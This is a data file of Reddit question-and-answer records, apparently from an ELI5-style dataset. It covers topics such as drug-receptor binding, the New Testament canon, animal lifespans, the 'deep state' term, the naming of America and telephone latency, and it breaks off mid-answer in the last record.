{"q_id": "ab7mik", "title": "how does your body know what to do with which molecule when it enters the body? is there a biological manual?", "selftext": "Like, if you take mdma, it tells your body to release more serotonin and other neurotransmitters. But if you take aspirin, it tells the body to do something else, like shutting down the nervous system. Both molecules consists of the same sort of atoms (Hydrogen, oxygen, carbon). So, how does your body recognize the difference between the molecules and what tells your body what to do with each different molecule?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ab7mik/eli5_how_does_your_body_know_what_to_do_with/", "answers": {"a_id": ["ecy2g4c", "ecy5bcr", "ecyvc7w"], "score": [7, 2, 2], "text": ["Molecules are like keys. Sometimes they can be made out of the same material but they have different shapes.\n\nYour body has receptor molecules or \"locks\" that only match up with certain molecular keys.\n\nOnce a key and lock meet, the body reacts a specific way. ", "If there was a way to absolutely control how your body responded to certain compounds, poisons wouldn't work. Your body just handles what it can in a predetermined fashion, and dumps out the remainder. ", "Molecules are much more than just what atoms they are composed of. Each molecule also has a specific shape and properties (like, it's electrically charged in one area, or acidic in one area, etc).   \n\n\nAt the most basic level, your body is really just a bunch of chemical reactions occurring in very tightly controlled environments separated my membranes (whether they are cell membranes or even small compartments inside of cells called organelles). The body doesn't \"think\" about what to do when it encounters a particular molecule. Whatever chemical reactions will happen in that environment will just happen. \n\n & #x200B;\n\nThey way many reactions in your body happen is through enzymes--these are little molecular machines usually made of protein that help chemical reactions develop in a certain way. If you throw A into it, it will give you B and if your throw Y into it, it may give you Z. But it won't do anything when it encounters C, because it's the wrong size or D because the shape is wrong, or E because it's got the wrong electrical charges, etc.  \n\n\nSo when it comes to Aspirin, it doesn't shut down the nervous system. Aspirin binds to an enzyme (a molecular machine) called COX and prevents COX from doing its job. Normally, COX produces a bunch of molecules that do things like cause inflammation (so aspirin can reduce swelling, fevers, etc) and molecules that cause your nerves to send pain signals (so you experience less pain). However, some of these molecules also affect your blood's ability to clot (so aspirin can increase bleeding to a degree), and other molecules are involved in the production of mucous in your stomach, which helps protect it from stomach acid (so aspirin can also lead to stomach ulcers in some people).  \n\n\nYour cells' environment is very important to all of this. For a much more advanced example, let's say you've been fasting for a while and your cells are set up to break down your stored energy to make sugar. Then you eat a bunch of rice.  In your digestive system, the rice molecules are broken down into sugars by enzymes that break down sugars (different ones break down proteins and fats). The sugars then bind to enzymes on the walls of your intestine and allow the sugar to get absorbed into these cells and ejected into your bloodstream. The high levels of sugar in your blood cause them to bind to other enzymes and tell them to release hormones like insulin into your blood. Insulin then travels around your body and binds to other enzymes turning them ON. These enzymes then start producing molecules in your cells that turn ON other enzymes. \\*Those\\* enzymes then bind to \\*other\\* enzymes and turn \\*them\\* ON as well.   \n\n\nNow that the right group of enzymes has been turned ON, when they encounter sugar molecules they will join them together so they can be stored as long chains of sugars called starches which can be used for energy later on. When the levels of sugar in your blood fall, you stop making the hormones that call all of this to happen and they turn off. At the same time, other hormones are released that activate another set of enzymes that will now break down these starches back to form sugars which your cells can use for energy. (The reality is a little more complex--in many cases, an enzyme that takes A and makes B, can also take B and make A. It's the overall environment of the cell at the time that dictates which direction the chemical reaction goes).  \n\n\n  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bt6b32", "title": "From a historian\u2019s perspective, are there any New Testament books which ought not be Canon? Are there any excluded books which ought to have been Canon?", "selftext": "I\u2019ve heard for example that the Gospel or Peter was almost considered canon. I have also heard that some books are considered by modern scholars to be forgeries.\n\nReligion aside, are any of the canonical texts on shakier historical ground than some non-canonical texts?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bt6b32/from_a_historians_perspective_are_there_any_new/", "answers": {"a_id": ["eouxkxg"], "score": [239], "text": ["You're asking an \"ought\" question, so it's important to know what the criteria are for that \"ought\" (or whether \"religion aside\" is even possible). A lot of considerations functioned in the Church's decisions about the canon through successive assemblies. However, we can say at minimum that the Church expected the texts it selected to accurately reflect apostolic teaching, which it deemed inspired and authoritative.\n\nThis is something the historian may be in a position to say something about. However, the subject is controversial, and experts are far from unanimous. And even this criterion, which dates to the 2nd century, gets muddy.\n\nFor example, what counted as \"apostolic teaching\"? Many of the Gnostic schools claimed access to \"secret\" apostolic testimonies. The 2nd-century heretic Marcion believed only Paul faithfully conveyed the gospel of Christ; the others went astray. Hence Marcion's canon included only a purged version of Luke's gospel plus ten \"authentic\" Pauline epistles: Galatians, 1 and 2 Corinthians, Romans, 1 and 2 Thessalonians, Ephesians, Colossians, Philippians, and Philemon. However, by \"apostolic teaching,\" most of the Church Fathers meant teaching in line with the \"[rule of faith](_URL_0_)\" delivered in oral and written form by the original apostles, six in particular: Matthew, Peter, Paul, John, James, and Jude. And unlike Marcion, most were not in a hurry to figure out exactly which books counted or did not, which is why our complete list of canonical NT books doesn't appear until a letter of Athanasius in 367. For centuries after Christ, different communities used slightly different sets of books as scripture (that is, for reading during services). The term \"canon\" itself did not appear until the fourth century.\n\nDespite that fuzziness, some broad statements can be made. The synoptic gospels and the major Pauline epistles were universally accepted \"except among the more extreme proponents of Jewish Christianity\" (Ackroyd and Evans). These formed the \"core\" of the early Church's scripture, and even fringe groups such as the gnostics made use of them. The rest of the canonical NT was used some places, but was unknown or not recognized in others until a certain point.\n\nWhat do today's historians say about these texts? Well, every one of them has been questioned, and textual criticism suggests a larger group of writers were involved in their creation than tradition has passed down. The four gospels, especially Mark and Matthew, are very old, and probably do represent original apostolic teachings. Luke and Acts were less privileged until the second century, when they became very important for a heresy-embattled Church. Paul probably wrote the epistles attributed to him, except for the Pastorals (Timothy and Titus), with Ephesians, Colossians, and 2 Thessalonians being divisive among scholars. Who wrote these, if not Paul? Colossians, Thessalonians, and Ephesians were written, if not by Paul, by devoted followers. Who wrote the Pastoral Epistles is an open question.\n\nWhat about the other epistles in the New Testament, which it appears some early Christian communities used and others did not? 1 Peter was widely received early on as being authentically Petrine. 2 Peter and Jude were widely accepted by the end of the 2nd century. Hebrews was attributed to Paul by some in the early Church, but nobody accepts that now; nevertheless, it holds an important place in the canon. The origin of James is highly controversial, with some scholars claiming it was not even authored by a Christian; it was one of the last books to receive recognition from the Church.\n\nHowever, in all this I have left out the \"Johannine\" writings: the gospel, epistles, and apocalypse all attributed to St John. These books and their relationship to one another are disputed, but many would suggest they are products of a \"school\" that has its roots in their reputed author, John the Apostle. The Gospel of John and 1 John were accepted earliest; at the other end, Revelation was one of a number of Christian apocalypses circulating in the early Church, distinguishing itself perhaps most by its compelling literary construction and compatibility with the rest of the New Testament.\n\nIn short, regarding the canonical texts of the NT, there's a spectrum of plausibility as to which authentically stem from the hand or teaching of a recognized Apostle, and few clear answers. I don't have time at the moment to say anything about other books that claimed scriptural status in the early church; I'll come back to that later, or leave it to someone else.\n\n**Sources**\n\nBruce Metzger, *The Canon of the New Testament*\n\nP. R. Ackroyd and C. F. Evans, *The Cambridge History of the Bible*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Rule_of_Faith"]]}
{"q_id": "31paip", "title": "Where did the disciples \"go\" after the death of jesus? What were their intentions and how successful were they?", "selftext": "I only remember hearing that some went to greece, one died in Italy, some to north africa and Armenia.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31paip/where_did_the_disciples_go_after_the_death_of/", "answers": {"a_id": ["cq3ps5s"], "score": [389], "text": ["We don't have very good or accurate sources on what happened to the 12 apostles after Jesus' death. Much of it is tradition as recorded second-hand in a few sources. So anything I write here is simply telling you what is in the primary sources that we have, with not a huge deal of certainty\n\nHippolytus of Rome is one of those sources, along with Eusebius' *Ecclesiastical History* \n\nHere is what is recorded:\n\nJames, brother of John, son of Zebedee: decapitated by Herod Agrippa (Acts 12:2, see also Hippolytus, and Eusebius EH 3.5\n\nJames, son of Alphaeus: stoned to death in Jerusalem (Hippolytus)\n\nAndrew: preached to the Scythians and Thracians (in modern day Georgia and Bulgaria), was crucified on an olive tree at Patrae in Greece (Hippolytus)\n\nBartholomew (Nathanael): preached in India and was crucified upside down, buried in Allanum (southern Georgia) (acc to Hippolytus). Alternatively, Eusebius records that a certain Pantaenus from Alexandria had visited India and found Christians there with a Hebrew language version of the Gospel of Matthew given to them by Bartholomew.\n\nMatthew/Levi: died at Hierees, Parthia (acc to Hippolytus). Possibly beheaded. \n\nSimon Peter: Irenaeus puts Peter in Rome (Against Heresies 3.1). Eusebius says he was crucified under Nero. Hippolytus also records crucifixion, upside down, under Nero.\n\nPhilip: preached and crucified upside down in Phrygia, during the reign of Domitian (Hippolytus)\n\nSimon the Zealot: died in Jerusalem at 120 years old (Hippolytus)\n\nThaddaeus/Judas son of James: preached to Edessa, through Mesopotamia, and died at Berytus (Hippolytus)\n\nThomas: preaches through the Parthian empire all the way to India, where he was killed by a pine spear (Hippolytus)\n\nJohn, son of Zebedee: believed to have died of old age. Hippolytus records his exile to Patmos, and his death in the time of Trajan. Tertullian records a tradition that they attempted to boil him alive but to no avail.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cug884", "title": "why are there such large variations in the average life span of different organisms?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cug884/eli5_why_are_there_such_large_variations_in_the/", "answers": {"a_id": ["exu6jiy", "exu83yy", "exuak19", "exuff3k", "exukjnf"], "score": [44, 9, 35, 3, 8], "text": ["Extrinsic mortality influences the optimal life expectancy for an organism. If you evolve in a very risky environment where you wont live very long because of external risks (predation/environment), it wouldn't be the optimal use of resources to invest resources in living for a long period of time. This is called Disposable Soma theory.", "For mammals, number of heartbeats per life is roughly the same for all species. Little animals need to beat fast to keep metabolism up and carry blood and oxygen (larger surface area to mass and smaller volume arteries relitive to body size are two big reasons). Bigger animals do not need to to beat heart as much.\n\nGenerally, a mouse and an elephant will beat their hearts the same number of times in a lifetime.\n\nEDIT: it's about 1 billion beats. Humans are WAY off the chart.  Here is a quick link I found with graph at bottom. _URL_0_", "Let's say you go to school and get stabbed by the local bully every day.  Over time you evolve ways to deal with this or die. \n\nSome species will evolve quick reflexes to dodge the knife. Better hope those that can dodge get around to producing offspring before the bully finally gets a lucky hit though. \n\nSome will develop tougher skin to block the knife or bigger mass or quick healing to simply ignore and tank the blow.  Others will group up so the bully can only stab one of the flock.  Mass takes energy to maintain, so there'd better be a good food source around. \n\nOthers will use intelligence to craft tools like armor.  Hopefully there's some sticks or stones to make something with. \n\nOthers will simply accept their death, because their species goes from birth to making babies within a day, and they've already got the next generation cooking at home.  Individuals in this species will only live a day or two before dying, but the species will live on as a whole.  \n\nIt's all about how an organism deals with external threats.  Some are better than others at dodging these threats, and have a longer lifespan.  Others simply accept their short lifespan, considering it a design factor and evolve to reproduce often and early.", "Example one. A mouse. Everything bigger than a mouse eats mice, so for a mouse to live for more than a year or two is exceedingly uncommon, and they never die of old age - they die of being eaten.\n\nNow, if you want to live for five years, you need to invest a lot, energy wise. Your body needs to last, your knees need to not run out, stuff like that.\n\nSo for a mouse, it would be a waste to be able to live for five years. If they live for two, and use the energy saved to make more mouse babies, they are more effective as a species.\n\nThat explains why mice have a life span of  (about) two years.\n\nYou can make stories like this for every species - they live to the age that is most advantageous to their species. And since they are so different, they live for different lengths.", "Well, there's the r/K selection theory that potentially explains it. \n\nThe purpose of life simply for a organism to reproduce and pass it's DNA on to the next generation. There are two different umbrella strategies for doing so according to the theory. \n\nR-selected species tend to occupy ecological niches that are unstable or unpredictable, but have more than enough resources that can support large populations. Unstable basically means that the offspring of the species has a high chance of dying before it reaches reproductive age. So it basically resorts to a shotgun blast strategy for survival. Pump out as many kids as possible, that will grow to adulthood as quickly as possible, and if you're lucky, enough will survive to pass on their DNA. \n\nSince these organisms grow so fast, and there's so many resources available, they can afford a high population without the need for a lot of parental involvement. So there's no evolutionary pressure there for a long life span. Examples of animals like this include mice, house flies, rabbits, and bacteria.\n\nK-selected species tend to occupy ecological niches that are stable and predictable, but are close to or at the limits of the population they can support. Offspring has a high probability of reaching adulthood, but there's a lot more competition for resources. So these species use a strategy that will best allow their offspring to compete. \n\nWhat they focus on is having their young in small litters that grow slowly, often to larger sizes than r-selected organisms, to make them stronger and thus better able to obtain limited resources. However, this slow growth strategy requires a high degree of parental care to ensure those young successfully reach adulthood. If the parent dies before that happens, it's likely their child will die as well. So there's a strong evolutionary pressure for these species to live at least long enough for their young to survive and thrive independently. And raise enough of those young to adulthood to maintain population numbers.\n\nTake us humans for example. We take about 13-15 years to reach sexual maturity. So you need to at least double that for a parent to raise their child to adulthood. Since we only give birth to one child at a time (usually), and have a long gestation period, we need to live even longer to maintain or grow our population. Women can continue to successfully carry a child to term into their 30s without medical intervention. So they need to live until at least 50 to see a child born that late to adulthood. Which is actually what we do tend to see in pre-industrial societies with limited resources, and limited to no access to medical care. \n\nOr course there are organisms that do buck this tend. Sea turtles                 for example have large numbers of young with high mortality rates, but they live a long time. Newer theories have also come out, but this is still offers a decent general explanation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://robdunnlab.com/projects/beats-per-life/"], [], [], []]}
{"q_id": "bj1t03", "title": "what did the great philoshophers do all day?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bj1t03/eli5_what_did_the_great_philoshophers_do_all_day/", "answers": {"a_id": ["em4mq6h", "em4nwqv", "em4nxx1", "em4wyfd"], "score": [4, 6, 13, 2], "text": ["Depends on whom you're talking to specifically.\n\nNietzsche lived a quiet, depressed life in obscurity only making meager wages from his writing. I'm sure he held a second day job.\n\nBut Plato ran a prestigious school, where he enlightened countless pupils of his teachings. I presume this was paid in full by the student's patronage, or the local government.", "Philosophy is not a lucrative vocation.\n\nMany philosophers made their living as teachers and authors.  They wrote books on philosophy (whether fiction or nonfiction) and tried to sell their ideas.  Nietzche, Kant, Hegel, and Plato were all teachers and writers.  Marx and Hegel were occasionally journalists.  Some would have patrons in the form of universities or wealthy donors.  For example, Marx decided to become a full-time revolutionary and lived in extreme poverty.  He occasionally bummed money off his friend Engels, whose father ran a textile business.  \n\nBut mostly they were just plain poor.", "Marx mostly lived in poverty and was supported by his benefactor and co-author Engels. He eventually got a reasonable stream of money from his published works and by writing for newspapers, but he was always just scraping by, only achieving some measure of stability later in life.\n\nEngels came from a reasonably wealthy family who owned some businesses, and Engels also had more regular work as a newspaper reporter.\n\nHegel worked as a tutor off and on and would also be sponsored by wealthy people who were interested in his works.\n\nPlato ran a school. It's understood that this would have run off either admissions or donations, or perhaps some combination of both. This was common in Ancient Greece. Also Roman's would employ (often as a well-treated slave) Greek's to teach their own children.\n\nNietzsche also worked as a teacher for a while, but as he was slowly going insane he stopped doing this to focus on his work and basically lived in depressed poverty.", "Immanuel Kant was a real pissant who was very rarely stable,\n\nHeidegger, Heidegger was a boozy beggar who could think you under the table,\n\nDavid Hume could out-consume Schopenhauer and Hegel,\n\nAnd Wittgenstein was a beery swine who was just as sloshed as Schlegel...\n\n\\--Monty Python"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "481pbn", "title": "what does it mean when something (i.e. food) \"aids in digestion?\"", "selftext": "I see articles of food items (e.g. fruits, vegetables, etc.) that claim to \"aid in digestion.\"  What, exactly, does it mean by that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/481pbn/eli5_what_does_it_mean_when_something_ie_food/", "answers": {"a_id": ["d0gtkq6"], "score": [8], "text": ["usually its a euphemism for foods with lots of fiber which  help you poop more regularly and consistently. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ekaedm", "title": "canadian here. i'm having a hard time understanding the term 'deep state' as referenced in american political commentary. can someone break down what that means or implies? thank you.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ekaedm/eli5_canadian_here_im_having_a_hard_time/", "answers": {"a_id": ["fd8frtz", "fd8fy3g", "fd8qps5", "fd8qxx4", "fd8rodz", "fd8sr8p", "fd8x4uy", "fd93jf3", "fd94nia", "fd95vkp", "fd9640n", "fd98kq5", "fd98zmw", "fd9a019", "fd9cs8j", "fd9djx3", "fda2emg", "fda35g4", "fda67he", "fda84fj"], "score": [2297, 18, 65, 17, 4, 9, 4, 10, 3, 2, 21, 2, 3, 2, 2, 2, 2, 3, 2, 2], "text": ["The term was made up to describe a problem with trying to negotiate with a country that has an elected legislature and high turnover -- I believe the original example was Turkey, in the earliest years of their democracy. Who do you even call to negotiate *with,* when whoever you call might not even be there two years later?\n\nThe answer? The bureaucracy. All of the mid-level management who stay in the same jobs in the foreign ministry, the defense department, and so on even when the legislature changes hands, the people who work one level down from the political appointees. And because they're below the \"surface\" of the democracy, they defined them as the \"deep\" state, as opposed to the \"surface\" or elected state. *In its original usage, it wasn't necessarily sinister.*\n\nBut it rapidly came to be interpreted in sinister ways, because narrow interest groups have always complained that when their coalition or party gets elected, having promised them the moon and the stars, they do not get the moon and the stars. And sometimes it is, in fact, because elected politicians went to the department of whatever and the department of whatever said, \"we physically, literally cannot give them the moon and the stars\" or \"it's illegal for us to give them the moon and the stars\" or \"we can, but it'll cost a billion trillion dollars and take a hundred years.\" And usually, if they say that, it's because it's true. But whether it's true or not, the politician then goes back to his voters and says, \"I promised you the moon and the stars, and having voted for it and won, you deserve the moon and the stars, but I was stopped from giving them to you by those unelected 'elites' in 'the Deep State.'\"", "As stated already, it's typically used to refer to some sort of shadowy secretive cabal that operates outside of public view that controls the policy directions of the visible government.\n\nWhether this is actually the case in the U.S. and to what degree can't really be said. But I think it's important to understand that an actual 'Deep State' needn't be visualized as defined above. It is quite possible for the un-elected officials (bureaucrats) that outlast elected governments to function as a 'Deep State' without explicitly meaning to. Especially those involved in foreign policy decisions, as decisions made in this sphere typically have consequences that will span the multiple terms of different elected governments.\n\nThere was a bit in the JRE podcast interview with Edward Snowden that I think is pretty relevant:\n\n[_URL_0_](_URL_0_)", "Deep state in a nutshell refers to bureaucrats and lifelong unelected officials in government that are not subject to being removed by voters and push government policies and practices in the directions that they want.", "The Deep State is the unelected part of the government which has its own agenda which runs alongside the public face of the state. Politicians come and go, but the institutions that buy and sell them have a longer view.\n\nA good example of how the Deep State functions is the recently revealed scandal about how US military deceived the US government and the American people about The War Against Terror:[_URL_1_](_URL_1_)\n\nPretty much what confirmed tinfoil-hat-wearing nutjob Dwight D 'Ike' Eisenhower referred to as the 'military/industrial complex'.\n\n[_URL_0_](_URL_0_)", "Government workers who, ironically, are apolitical by definition. By this I mean they have their own political views, but these are not discussed at work, and they do the work of the state, answering to the government of the day. They work through various administrations, but generally this doesn\u2019t impact the overall mission or day-to-day. Pentagon, FBI, CIA etc. Trump has used this term because he is annoyed he can\u2019t fire people who aren\u2019t director-level political appointees, and feels these organisations are against him. In actual fact these people are often patriots who could be earning more outside, and who work for the best interests of the country as signed for as part of their job. \n\nTLDR - Trump thinks he should be able to control every aspect of the various apparatus of government, like a dictator could in Russia or China. He can\u2019t, by design, so he made it sound conspiratorial and blames it for the checks and balances blocking him from doing stupid/illegal stuff.", "Deep State basically means a country is controlled by others. People who pull the strings from the shadows.\n\nDoesn't matter who the president is, or who controls government. Instead a group of people hidden behind the scenes who control it.\n\nSo a PM/president/etc and the elected body actually take orders from these people.", "Consider a country like Pakistan. A large portion of executive control remains with the military-intelligence apparatus. If they don\u2019t like the party in power, they can get rid of them easily. The PM can be killed like Benazir Bhutto and her father or they can undergo kangaroo court corruption charges, like Gilani and Sharif. So the country is effectively ruled by an unelected and unaccountable deep state. Demagogues use the term to malign anyone in civil or administrative service in the government. These are people who carry out policy in their positions, regardless of whose government it is.", "Well, I'm pretty late to the party,  so OP, if ur still around... \n\nFDR didn't order the oil embargo that led to war with japan. No elected official did. No one responsible to the American people made the decision that led to us going to war.  Thats a fact,  aaaaaaaand that's why people say theres a deep state", "They mean, and I'm being serious here, \"The Jews\". Aka (((THEM)))\n\nThey of course don't mean actual Jewish people. That is people who are Jewish Through blood and or religion or however they choose to sew define themselves. Nor do they mean the state of Israel, its government, or Israeli citizens. Those folks just have to bear the brunt of being associated with (((THEM)))\n\nWhat they mean is the secret cabal of nefarious individuals who actually pulled the strings of government. America seems to have this weird thing where we always think there's some sort of cabal of individuals controlling everything. The current term tends to be deep state, international bankers, Soros, or any variation on the three. They are all variations on the Jewish global conspiracy. Which is itself A variation on the Jesuit conspiracy. Which was related to the Masonic conspiracy. And somehow the Illuminati conspiracy is involved in there. Both one that came out hundreds of years ago and the other one that arrived more recently.", "Read \"the brethren\" by John Grisham. It gives a great look into the idea of a deep state within the story. Also an absolutely fantastic read.", "Canadian example:\n\nTrudeau is the leader of Canada, and gets his power from the people voting for him.\n\nThe Commissioner of the RCMP, the Director of CSIS, the President of CBSA (and the list goes on), are not elected and instead appointed.\n\nDeep State is a term used to describe power structures maintained by unelected, unappointed people within the government.  If a deep State did exist, it would likely be made up of a small group of highly ranked employees who could subvert or influence policy decisions without the public's knowledge.", "It's GOP double speak when they run in to life time government service workers who inform them they cannot do a thing because it's illegal, unconstitutional, etc. The deep state does not exist unless you want to call our constitution deep state. The founding fathers were quite aware of people like Trump and his ilk and set up a constitution that would stop much of what they are trying to do. Still, we, the People, must be more vigilant in supporting this work through voting, running for office and doing more civil service.", "Basically it refers to what happens behind the scenes in politics. The people you don't know or hear about, the meeting you never knew took place, the agenda that you never knew existed. The deep state implies that the government is not controlled by who we elect but instead by powerful people with connections and resources to make things happen.", "The deep state refers to of all the high level, unelected officials in positions of power in federal government administrations like the FBI, CIA, NSA, etc.", "InfamousBrad has for some reason left out the important elements of that term\u2019s definition.\n\nIts actual meaning today, to the people who use it today, is Jews. This is a term used almost exclusively by the alt-right, who use it as a dog whistle, and to them it refers to the sinister faction of Jews who \u201cactually\u201d run the US government. \n\nLeaving this out could not have been done except on purpose. He\u2019s correct in its historic meaning, though.", "To put it very simply and without political language, the \"deep state\" is the idea that the government is actually controlled by a secret government.  While it may have had its roots in some legit politics, the term is know mostly used for conspiracy theories and neo Nazis dog whistles.", "\u201cDeep state\u201d is a conspiracy theorist term for pretty much any non-elected government employees. Aka bureaucracy\n\nBasically they think that all the people working careers in government jobs are out to get them in whatever ways possible, when in reality they\u2019re just doing their jobs running various functions of government.", "It's an Americanism for the Establishment: a shorthand for the very real oligarchic influences on democratic government, generally via senior civil servants, advisors, consultant bodies and the ilk. Kind of laughable to have the Republican party talking about it, as they are the very fountainhead of oligarchy.", "It\u2019s unelected people in positions of high power that have greater influence over political decisions than many politicians. In the USA examples would be high rank employees of the CIA, NSA or different ministries.", "The deep state as a term was first conceived by Professor Pete Dale Scoott hes has a few books out but here is a nice litte interview with him\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/efs3QRr8LWw?t=6871"], [], ["https://www.youtube.com/watch?v=Gg-jvHynP9Y", "https://www.washingtonpost.com/opinions/2019/12/17/those-who-ran-afghanistan-war-lied-they-must-be-held-account/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://youtu.be/fMNlVhoLwTw"]]}
{"q_id": "9zs4o2", "title": "how does a decarboxylator work and affect cannabis?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zs4o2/eli5_how_does_a_decarboxylator_work_and_affect/", "answers": {"a_id": ["eabm2hg", "eabndzz"], "score": [3, 3], "text": ["The \"high\" of weed comes from cannabinoids, chemicals inherent to the marijuana plant. They are in an inactive form until heated past ~250F. That usually happens when you burn it to smoke it, but if you're planning on consuming it any other way, you have to heat those chemicals until they become active, a process called decarboxylation.\n\nTL;DR: you gotta bake the shit to make it work, a decarboxylator is a tiny oven", "It's like a honey bun. By itself, unheated, it is alright. Add heat though and it turns into something wholly different, but essentially the same thing.\nHeat turns non-psychoactive THC-A into psychoactive THC. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3c8wa6", "title": "When naming America, why do they use Amerigo Vespucci's first name, as opposed to his last?", "selftext": "When naming a place after a person, the convention (unless the person was a monarch) is to use the last name (e.g.  Washington, Stalingrad, Brisbane, Vancouver etc.). Is there a specific reason they broke convention?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3c8wa6/when_naming_america_why_do_they_use_amerigo/", "answers": {"a_id": ["csthgtb", "csthtk0", "cstnllu"], "score": [623, 58, 46], "text": ["Since it'll probably come up: America is derived from Amerigo's Latin name, Americus Vespucius. Americus is a masculine name and the continents are all named after women, so Waldseemueller dropped the masculine -us ending and added the feminine -a ending. I suppose we're lucky he didn't prefer Americia, which would (according to my limited understanding of Latin) have worked as well.\n\nAnyway: there's no convention. Baltimore is named after the Lord of Baltimore. Wellington is named after the Duke of Wellington. Stalingrad was named after Ioseb Jughashvili's adopted name. Virginia is named after the [the Virgin Queen](_URL_2_). Alexander named a city after his horse and a whole bunch after his given name (rather than the name of his dynasty, Argead). The Dominican Republic is named after Dominic de Guzman. Gibraltar was originally named Jabal Tariq after Tariq ibn Zayid. Arlington is named after Henry Bennet's title. There are certainly a *lot* of places in America named after families, but that's far from a universal standard. \n\nAll that being said: I have no earthly idea. The letter that Waldseemueller read was signed Albericus Vespucius, not Americus. The exact rationale is supposed to be contained in Cosmographiae Introductio, but I don't know enough Latin to parse that and I'm not sure I'd trust a translation. \n\nIf anyone wants to look at Waldseemueller's 1507 map, Wiki hosts a [huge](_URL_0_) version. He spelled Africa with two f's. He, like Ptolemy, has a rather grand view of what land Ethiopia actually covered. \n\nFun fact: Waldseemueller [tried to change the name later on](_URL_1_) [there's a lot here, so ctrl+f: withdraw the word \"America,\"].", "There's actually a bit of debate about the origins of the name. \n\nOne theory is based around America being named after a region the Native Americans named *Amerrique*, which the European explorers took with them. This theory was first postulated in the late 1800s and still appears now and again.  \n\nAnother theory is based around America being named after a wealthy merchant called Richard Amerike. \n\nBoth theories are based partly on evidence that show Vescuppi never actually named the land after himself. He may not have had anything to do with the naming at all. \n\nSources:\n\n_URL_0_\n\n_URL_1_ (old but still interesting)", "The reason it was his first name is because America is a continent and the more traditional continental naming scheme was based on first names. \n\nHerodotus gives an account of the names of the three continents (Europe, Libya, and Asia) in his *Histories*. Each continent's name is the first name of the mythical figure they're named for (at least according to Herodotus). Please excuse the Wikipedia links, but they're the most direct and accessible descriptions of the mythological figures: [Europa](_URL_0_), [Libya](_URL_1_), and [Asia](_URL_2_). While Herodotus' method of naming continents does not strictly speaking represent an actual cartographic rule people followed, see Antarctica and Australia as counter-examples, it seems to have been influential on Waldseemuller when he made his map. \n\nThe reason America stuck around as a name is that it was kind of a compromise name. It's worth remembering that America originally meant what we now call South America. The Spanish wanted to call the continent New Spain, while the Portugese obviously had no interest in doing anything of the kind. What to call the new continent became political very quickly and America was the least offensive name that was in fairly widespread circulation so it just sort of stuck. \n\nEdit for more content: I mentioned this in another post here, but the reason Waldseemuller even picked Amerigo Vespucci is that he, mistakenly, believed that Amerigo was the first European to land on the continent of America. While Columbus had indisputably been to Caribbean first what was not as clear was who reached the continental landmass of America first. In hindsight it is pretty clear that it was also Columbus, or at the very least he got there before Amerigo did, but at the time an account of Amerigo's voyages of exploration called *Mundus Novus* was circulating that argued that he was the first to reach America. Historians now think that this document was not even written by Amerigo when Waldseemuller was making his map it seems that he believed the account of *Mundus Novus* and so named the continent after Amerigo. \n\nThere is also some evidence that Waldseemuller actually recanted his original attribution. There are other maps he made where he abandoned the 'America' label in favor of the slightly more traditional *Terra Incognita*. However, the exact chronology of Waldseemuller's maps is a tad confused, we don't always have the best records about when he was working, so it is hard to definitively prove that the *Terra Incognita* map was a later work. There's even some evidence to suggest that the supposed 'First Map with America on it' might actually be the second. That said, there is convincing evidence that in later life he decided to distance himself from the America label, perhaps when it became apparent that Columbus, not Amerigo, was the first to reach South America. \n\nSource: Jerry Brotton *A History of the World in 12 Maps* While the name suggests this book is a general world history that uses maps as a tool for learning, it's actually a history of cartography from ancient Greece through the present. \n\nRonald H. Fritze *New Worlds: The Great Voyages of Discovery 1400-1600*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/c/c0/Waldseemuller_map_2.jpg", "http://archive.org/stream/cosmographiaeint00walduoft/cosmographiaeint00walduoft_djvu.txt", "https://en.wikipedia.org/wiki/Elizabeth_I_of_England"], ["http://www.uhmc.sunysb.edu/surgery/america.html", "http://www.uhmc.sunysb.edu/surgery/broome.html"], ["https://en.wikipedia.org/wiki/Europa_\\(mythology\\)", "https://en.wikipedia.org/wiki/Libya_\\(mythology\\)", "https://en.wikipedia.org/wiki/Asia_\\(mythology\\)"]]}
{"q_id": "3gosv2", "title": "How communication technologies have progressed?", "selftext": "I remember when i was a kid(1995 i believe)  in Russia, Moscow, my dad went to business trip to Houston, TX. He called me from there via land line. And i clearly remember there was roughly 5 sec delay after i stop talking and he start talking. Which i contributed for time to signal get from Moscow to Houston and back. Now I skype with my friends in Moscow, myself being in Toronto, ON and there no delay at all. I stop asking question they start answering right away. What has changed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3gosv2/how_communication_technologies_have_progressed/", "answers": {"a_id": ["cu0416c", "cu0aplv"], "score": [4, 2], "text": ["Sounds likely that the telephone link might have been done with some number of relay satellites. Just a guess. Those things are up so high that the induced latency can add up very rapidly. \n\nMore recently, more and more data started to flow through fiber optics on the ocean floor - while it can indeed still add latency to the signal, it is far less then the round trip distance to a satellite and its various ground station buddies.\n", "Every transmission is bound to the light speed, so that does not change. So even today there is a lag, but not that large.\nThe earth has a circumfence of ~40.000km, light needs 0.1334 seconds to pass that. So for communicating with 